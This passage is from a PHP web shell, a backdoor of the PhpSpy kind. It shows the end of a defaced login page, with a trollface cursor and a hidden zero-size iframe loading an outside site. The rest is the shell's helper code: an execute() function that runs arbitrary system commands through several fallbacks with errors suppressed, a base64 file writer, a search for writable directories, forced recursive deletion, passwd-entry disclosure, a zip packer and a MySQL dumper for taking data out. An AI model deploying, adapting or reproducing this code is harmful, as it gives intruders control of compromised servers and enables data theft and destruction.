3129 transition: all .25s ease-in-out;
3130}
3131html body section.menu nav a:nth-child(1) {
3132 -webkit-transition-delay: .235s;
3133 transition-delay: .235s;
3134}
3135html body section.menu nav a:nth-child(2) {
3136 -webkit-transition-delay: .2s;
3137 transition-delay: .2s;
3138}
3139html body section.menu nav a:nth-child(3) {
3140 -webkit-transition-delay: .165s;
3141 transition-delay: .165s;
3142}
3143html body section.menu nav a:nth-child(4) {
3144 -webkit-transition-delay: .13s;
3145 transition-delay: .13s;
3146}
3147html body section.menu nav a:nth-child(5) {
3148 -webkit-transition-delay: .095s;
3149 transition-delay: .095s;
3150}
3151html body section.menu nav a:nth-child(6) {
3152 -webkit-transition-delay: .06s;
3153 transition-delay: .06s;
3154}
3155html body section.menu nav a:nth-child(7) {
3156 -webkit-transition-delay: .25s;
3157 transition-delay: .025s;
3158}
3159html body section.content label {
3160 position: fixed;
3161 z-index: 1000;
3162 padding: 1rem 1.5rem;
3163 background: #222;
3164 font-size: 2rem;
3165 line-height: 2rem;
3166 color: #fff;
3167 cursor: pointer;
3168}
3169html body section.content h1 {
3170 display: table-cell;
3171 vertical-align: middle;
3172 text-align: center;
3173 font-size: 3rem;
3174 letter-spacing: 1px;
3175 color: #fff;
3176}
3177</style>
3178<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a>
3179
3180<BR>
3181
3182
3183<?php
3184
3185echo "".$err_mess."";
3186
3187?>
3188
3189
3190
3191</div>
3192
3193
3194
3195
3196
3197 </fieldset>
3198
3199
3200
3201
3202
3203
3204
3205</head>
3206<iframe src="http://www.nhaccuatui.com/mh/auto/1O1JO6xfXdae" width="0" height="0" frameborder="0" allowfullscreen></iframe>
3207</html>
3208
3209
3210
3211
3212
3213<?php
3214
3215 exit;
3216
3217
3218
3219}//end loginpage
3220
3221function execute($cfe) {
3222 $res = '';
3223 if ($cfe) {
3224 if(function_exists('exec')) {
3225 @exec($cfe,$res);
3226 $res = join("\n",$res);
3227 } elseif(function_exists('shell_exec')) {
3228 $res = @shell_exec($cfe);
3229 } elseif(function_exists('system')) {
3230 @ob_start();
3231 @system($cfe);
3232 $res = @ob_get_contents();
3233 @ob_end_clean();
3234 } elseif(function_exists('passthru')) {
3235 @ob_start();
3236 @passthru($cfe);
3237 $res = @ob_get_contents();
3238 @ob_end_clean();
3239 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3240 $res = '';
3241 while(!@feof($f)) {
3242 $res .= @fread($f,1024);
3243 }
3244 @pclose($f);
3245 }
3246 }
3247 return $res;
3248}
3249function which($pr) {
3250 $path = execute("which $pr");
3251 return ($path ? $path : $pr);
3252}
3253
3254function cf($fname,$text){
3255 if($fp=@fopen($fname,'w')) {
3256 @fputs($fp,@base64_decode($text));
3257 @fclose($fp);
3258 }
3259}
3260
3261// Debug
3262function debuginfo() {
3263 global $starttime;
3264 $mtime = explode(' ', microtime());
3265 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3266 echo 'Processed in '.$totaltime.' second(s)';
3267}
3268
3269// Function connect database
3270function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3271 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3272 p('<h2>Can not connect to MySQL server</h2>');
3273 exit;
3274 }
3275 if($link && $dbname) {
3276 if (!@mysql_select_db($dbname, $link)) {
3277 p('<h2>Database selected has error</h2>');
3278 exit;
3279 }
3280 }
3281 if($link && mysql_get_server_info() > '4.1') {
3282 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
3283 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3284 }
3285 }
3286 return $link;
3287}
3288
3289// Array strip
3290function s_array(&$array) {
3291 if (is_array($array)) {
3292 foreach ($array as $k => $v) {
3293 $array[$k] = s_array($v);
3294 }
3295 } else if (is_string($array)) {
3296 $array = stripslashes($array);
3297 }
3298 return $array;
3299}
3300
3301// HTML Strip
3302function html_clean($content) {
3303 $content = htmlspecialchars($content);
3304 $content = str_replace("\n", "<br />", $content);
3305 $content = str_replace(" ", " ", $content);
3306 $content = str_replace("\t", " ", $content);
3307 return $content;
3308}
3309
3310// Chmod
3311function getChmod($filepath){
3312 return substr(base_convert(@fileperms($filepath),10,8),-4);
3313}
3314
3315function getPerms($filepath) {
3316 $mode = @fileperms($filepath);
3317 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3318 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3319 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3320 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3321 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3322 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3323 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3324 else {$type = '?';}
3325
3326 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3327 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3328 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3329 $group['read'] = ($mode & 00040) ? 'r' : '-';
3330 $group['write'] = ($mode & 00020) ? 'w' : '-';
3331 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3332 $world['read'] = ($mode & 00004) ? 'r' : '-';
3333 $world['write'] = ($mode & 00002) ? 'w' : '-';
3334 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3335
3336 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3337 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3338 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3339
3340 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3341}
3342
3343function getUser($filepath) {
3344 if (function_exists('posix_getpwuid')) {
3345 $array = @posix_getpwuid(@fileowner($filepath));
3346 if ($array && is_array($array)) {
3347 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3348 }
3349 }
3350 return '';
3351}
3352
3353// Delete dir
3354function deltree($deldir) {
3355 $mydir=@dir($deldir);
3356 while($file=$mydir->read()) {
3357 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3358 @chmod($deldir.'/'.$file,0777);
3359 deltree($deldir.'/'.$file);
3360 }
3361 if (is_file($deldir.'/'.$file)) {
3362 @chmod($deldir.'/'.$file,0777);
3363 @unlink($deldir.'/'.$file);
3364 }
3365 }
3366 $mydir->close();
3367 @chmod($deldir,0777);
3368 return @rmdir($deldir) ? 1 : 0;
3369}
3370
3371// Background
3372function bg() {
3373 global $bgc;
3374 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3375}
3376
3377// Get path
3378function getPath($scriptpath, $nowpath) {
3379 if ($nowpath == '.') {
3380 $nowpath = $scriptpath;
3381 }
3382 $nowpath = str_replace('\\', '/', $nowpath);
3383 $nowpath = str_replace('//', '/', $nowpath);
3384 if (substr($nowpath, -1) != '/') {
3385 $nowpath = $nowpath.'/';
3386 }
3387 return $nowpath;
3388}
3389
3390// Get up path
3391function getUpPath($nowpath) {
3392 $pathdb = explode('/', $nowpath);
3393 $num = count($pathdb);
3394 if ($num > 2) {
3395 unset($pathdb[$num-1],$pathdb[$num-2]);
3396 }
3397 $uppath = implode('/', $pathdb).'/';
3398 $uppath = str_replace('//', '/', $uppath);
3399 return $uppath;
3400}
3401
3402// Config
3403function getcfg($varname) {
3404 $result = get_cfg_var($varname);
3405 if ($result == 0) {
3406 return 'No';
3407 } elseif ($result == 1) {
3408 return 'Yes';
3409 } else {
3410 return $result;
3411 }
3412}
3413
3414// Function name
3415function getfun($funName) {
3416 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3417}
3418
3419function GetList($dir){
3420 global $dirdata,$j,$nowpath;
3421 !$j && $j=1;
3422 if ($dh = opendir($dir)) {
3423 while ($file = readdir($dh)) {
3424 $f=str_replace('//','/',$dir.'/'.$file);
3425 if($file!='.' && $file!='..' && is_dir($f)){
3426 if (is_writable($f)) {
3427 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3428 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3429 $dirdata[$j]['dirchmod']=getChmod($f);
3430 $dirdata[$j]['dirperm']=getPerms($f);
3431 $dirdata[$j]['dirlink']=ue($dir);
3432 $dirdata[$j]['server_link']=$f;
3433 $dirdata[$j]['client_link']=ue($f);
3434 $j++;
3435 }
3436 GetList($f);
3437 }
3438 }
3439 closedir($dh);
3440 clearstatcache();
3441 return $dirdata;
3442 } else {
3443 return array();
3444 }
3445}
3446
3447function qy($sql) {
3448 //echo $sql.'<br>';
3449 $res = $error = '';
3450 if(!$res = @mysql_query($sql)) {
3451 return 0;
3452 } else if(is_resource($res)) {
3453 return 1;
3454 } else {
3455 return 2;
3456 }
3457 return 0;
3458}
3459
3460function q($sql) {
3461 return @mysql_query($sql);
3462}
3463
3464function fr($qy){
3465 mysql_free_result($qy);
3466}
3467
3468function sizecount($size) {
3469 if($size > 1073741824) {
3470 $size = round($size / 1073741824 * 100) / 100 . ' G';
3471 } elseif($size > 1048576) {
3472 $size = round($size / 1048576 * 100) / 100 . ' M';
3473 } elseif($size > 1024) {
3474 $size = round($size / 1024 * 100) / 100 . ' K';
3475 } else {
3476 $size = $size . ' B';
3477 }
3478 return $size;
3479}
3480
3481// Zip
3482class PHPZip{
3483 var $out='';
3484 function PHPZip($dir) {
3485 if (@function_exists('gzcompress')) {
3486 $curdir = getcwd();
3487 if (is_array($dir)) $filelist = $dir;
3488 else{
3489 $filelist=$this -> GetFileList($dir);//File list
3490 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3491 }
3492 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3493 else chdir($curdir);
3494 if (count($filelist)>0){
3495 foreach($filelist as $filename){
3496 if (is_file($filename)){
3497 $fd = fopen ($filename, 'r');
3498 $content = @fread ($fd, filesize($filename));
3499 fclose ($fd);
3500 if (is_array($dir)) $filename = basename($filename);
3501 $this -> addFile($content, $filename);
3502 }
3503 }
3504 $this->out = $this -> file();
3505 chdir($curdir);
3506 }
3507 return 1;
3508 }
3509 else return 0;
3510 }
3511
3512 // Show file list
3513 function GetFileList($dir){
3514 static $a;
3515 if (is_dir($dir)) {
3516 if ($dh = opendir($dir)) {
3517 while ($file = readdir($dh)) {
3518 if($file!='.' && $file!='..'){
3519 $f=$dir .'/'. $file;
3520 if(is_dir($f)) $this->GetFileList($f);
3521 $a[]=$f;
3522 }
3523 }
3524 closedir($dh);
3525 }
3526 }
3527 return $a;
3528 }
3529
3530 var $datasec = array();
3531 var $ctrl_dir = array();
3532 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3533 var $old_offset = 0;
3534
3535 function unix2DosTime($unixtime = 0) {
3536 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3537 if ($timearray['year'] < 1980) {
3538 $timearray['year'] = 1980;
3539 $timearray['mon'] = 1;
3540 $timearray['mday'] = 1;
3541 $timearray['hours'] = 0;
3542 $timearray['minutes'] = 0;
3543 $timearray['seconds'] = 0;
3544 } // end if
3545 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3546 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3547 }
3548
3549 function addFile($data, $name, $time = 0) {
3550 $name = str_replace('\\', '/', $name);
3551
3552 $dtime = dechex($this->unix2DosTime($time));
3553 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3554 . '\x' . $dtime[4] . $dtime[5]
3555 . '\x' . $dtime[2] . $dtime[3]
3556 . '\x' . $dtime[0] . $dtime[1];
3557 eval('$hexdtime = "' . $hexdtime . '";');
3558 $fr = "\x50\x4b\x03\x04";
3559 $fr .= "\x14\x00";
3560 $fr .= "\x00\x00";
3561 $fr .= "\x08\x00";
3562 $fr .= $hexdtime;
3563
3564 $unc_len = strlen($data);
3565 $crc = crc32($data);
3566 $zdata = gzcompress($data);
3567 $c_len = strlen($zdata);
3568 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3569 $fr .= pack('V', $crc);
3570 $fr .= pack('V', $c_len);
3571 $fr .= pack('V', $unc_len);
3572 $fr .= pack('v', strlen($name));
3573 $fr .= pack('v', 0);
3574 $fr .= $name;
3575 $fr .= $zdata;
3576 $fr .= pack('V', $crc);
3577 $fr .= pack('V', $c_len);
3578 $fr .= pack('V', $unc_len);
3579
3580 $this -> datasec[] = $fr;
3581 $new_offset = strlen(implode('', $this->datasec));
3582
3583 $cdrec = "\x50\x4b\x01\x02";
3584 $cdrec .= "\x00\x00";
3585 $cdrec .= "\x14\x00";
3586 $cdrec .= "\x00\x00";
3587 $cdrec .= "\x08\x00";
3588 $cdrec .= $hexdtime;
3589 $cdrec .= pack('V', $crc);
3590 $cdrec .= pack('V', $c_len);
3591 $cdrec .= pack('V', $unc_len);
3592 $cdrec .= pack('v', strlen($name) );
3593 $cdrec .= pack('v', 0 );
3594 $cdrec .= pack('v', 0 );
3595 $cdrec .= pack('v', 0 );
3596 $cdrec .= pack('v', 0 );
3597 $cdrec .= pack('V', 32 );
3598 $cdrec .= pack('V', $this -> old_offset );
3599 $this -> old_offset = $new_offset;
3600 $cdrec .= $name;
3601
3602 $this -> ctrl_dir[] = $cdrec;
3603 }
3604
3605 function file() {
3606 $data = implode('', $this -> datasec);
3607 $ctrldir = implode('', $this -> ctrl_dir);
3608 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3609 }
3610}
3611
3612// Dump mysql
3613function sqldumptable($table, $fp=0) {
3614 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3615 $tabledump .= "CREATE TABLE $table (\n";
3616
3617 $firstfield=1;
3618
3619 $fields = q("SHOW FIELDS FROM $table");
3620 while ($field = mysql_fetch_array($fields)) {
3621 if (!$firstfield) {
3622 $tabledump .= ",\n";
3623 } else {
3624 $firstfield=0;
3625 }
3626 $tabledump .= " $field[Field] $field[Type]";
3627 if (!empty($field["Default"])) {
3628 $tabledump .= " DEFAULT '$field[Default]'";
3629 }
3630 if ($field['Null'] != "YES") {
3631 $tabledump .= " NOT NULL";
3632 }
3633 if ($field['Extra'] != "") {
3634 $tabledump .= " $field[Extra]";
3635 }
3636 }
3637 fr($fields);
3638
3639 $keys = q("SHOW KEYS FROM $table");
3640 while ($key = mysql_fetch_array($keys)) {
3641 $kname=$key['Key_name'];
3642 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3643 $kname="UNIQUE|$kname";
3644 }
3645 if(!is_array($index[$kname])) {
3646 $index[$kname] = array();
3647 }
3648 $index[$kname][] = $key['Column_name'];
3649 }
3650 fr($keys);
3651
3652 while(list($kname, $columns) = @each($index)) {
3653 $tabledump .= ",\n";
3654 $colnames=implode($columns,",");
3655
3656 if ($kname == "PRIMARY") {
3657 $tabledump .= " PRIMARY KEY ($colnames)";
3658 } else {
3659 if (substr($kname,0,6) == "UNIQUE") {
3660 $kname=substr($kname,7);
3661 }
3662 $tabledump .= " KEY $kname ($colnames)";
3663 }
3664 }
3665
3666 $tabledump .= "\n);\n\n";
3667 if ($fp) {
3668 fwrite($fp,$tabledump);
3669 } else {
3670 echo $tabledump;
3671 }
3672
3673 $rows = q("SELECT * FROM $table");
3674 $numfields = mysql_num_fields($rows);
3675 while ($row = mysql_fetch_array($rows)) {
3676 $tabledump = "INSERT INTO $table VALUES(";
3677
3678 $fieldcounter=-1;
3679 $firstfield=1;
3680 while (++$fieldcounter<$numfields) {
3681 if (!$firstfield) {
3682 $tabledump.=", ";
3683 } else {
3684 $firstfield=0;
3685 }
3686
3687 if (!isset($row[$fieldcounter])) {
3688 $tabledump .= "NULL";
3689 } else {
3690 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3691 }
3692 }
3693
3694 $tabledump .= ");\n";
3695
3696 if ($fp) {
3697 fwrite($fp,$tabledump);
3698 } else {
3699 echo $tabledump;
3700 }
3701 }
3702 fr($rows);
3703 if ($fp) {
3704 fwrite($fp,"\n");
3705 } else {
3706 echo "\n";
3707 }
3708}
3709
3710function ue($str){
3711 return urlencode($str);
3712}
3713
3714function p($str){
3715 echo $str."\n";
3716}
3717
3718function tbhead() {
3719 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3720}
3721function tbfoot(){
3722 p('</table>');
3723}
3724
3725function makehide($name,$value=''){
3726 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3727}
3728
3729function makeinput($arg = array()){
3730 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3731 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3732 !$arg['type'] && $arg['type'] = 'text';
3733 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3734 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3735 if ($arg['newline']) {
3736 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3737 } else {
3738 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3739 }
3740}
3741
3742function makeselect($arg = array()){
3743 if ($arg['onchange']) {
3744 $onchange = 'onchange="'.$arg['onchange'].'"';
3745 }
3746 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3747 if ($arg['newline']) p('<p>');
3748 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3749 if (is_array($arg['option'])) {
3750 foreach ($arg['option'] as $key=>$value) {
3751 if ($arg['selected']==$key) {
3752 p("<option value=\"$key\" selected>$value</option>");
3753 } else {
3754 p("<option value=\"$key\">$value</option>");
3755 }
3756 }
3757 }
3758 p("</select>");
3759 if ($arg['newline']) p('</p>');
3760}
3761function formhead($arg = array()) {
3762 !$arg['method'] && $arg['method'] = 'post';
3763 !$arg['action'] && $arg['action'] = $self;
3764 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3765 !$arg['name'] && $arg['name'] = 'form1';
3766 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3767 if ($arg['title']) {
3768 p('<h2>'.$arg['title'].' »</h2>');
3769 }
3770}
3771
3772function maketext($arg = array()){
3773 !$arg['cols'] && $arg['cols'] = 100;
3774 !$arg['rows'] && $arg['rows'] = 25;
3775 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3776 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3777}
3778
3779function formfooter($name = ''){
3780 !$name && $name = 'submit';
3781 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
3782 p('</form>');
3783}
3784
3785function formfoot(){
3786 p('</form>');
3787}
3788
3789// Exit
3790function pr($a) {
3791 echo '<pre>';
3792 print_r($a);
3793 echo '</pre>';
3794}
3795
3796?>